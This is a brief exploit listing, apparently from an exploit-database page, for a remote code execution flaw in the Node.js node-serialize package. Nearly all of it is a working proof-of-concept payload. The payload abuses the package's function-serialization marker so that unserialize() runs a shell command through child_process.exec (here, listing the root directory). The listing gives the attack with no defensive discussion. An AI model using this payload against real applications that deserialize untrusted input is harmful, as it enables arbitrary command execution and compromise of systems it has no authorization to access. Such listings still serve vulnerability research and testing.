node.js nodeserialize remote code execution

				
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);
            
				

Node.js nodeserialize remote code execution Vulnerability / Exploit Source : Node.js nodeserialize remote code execution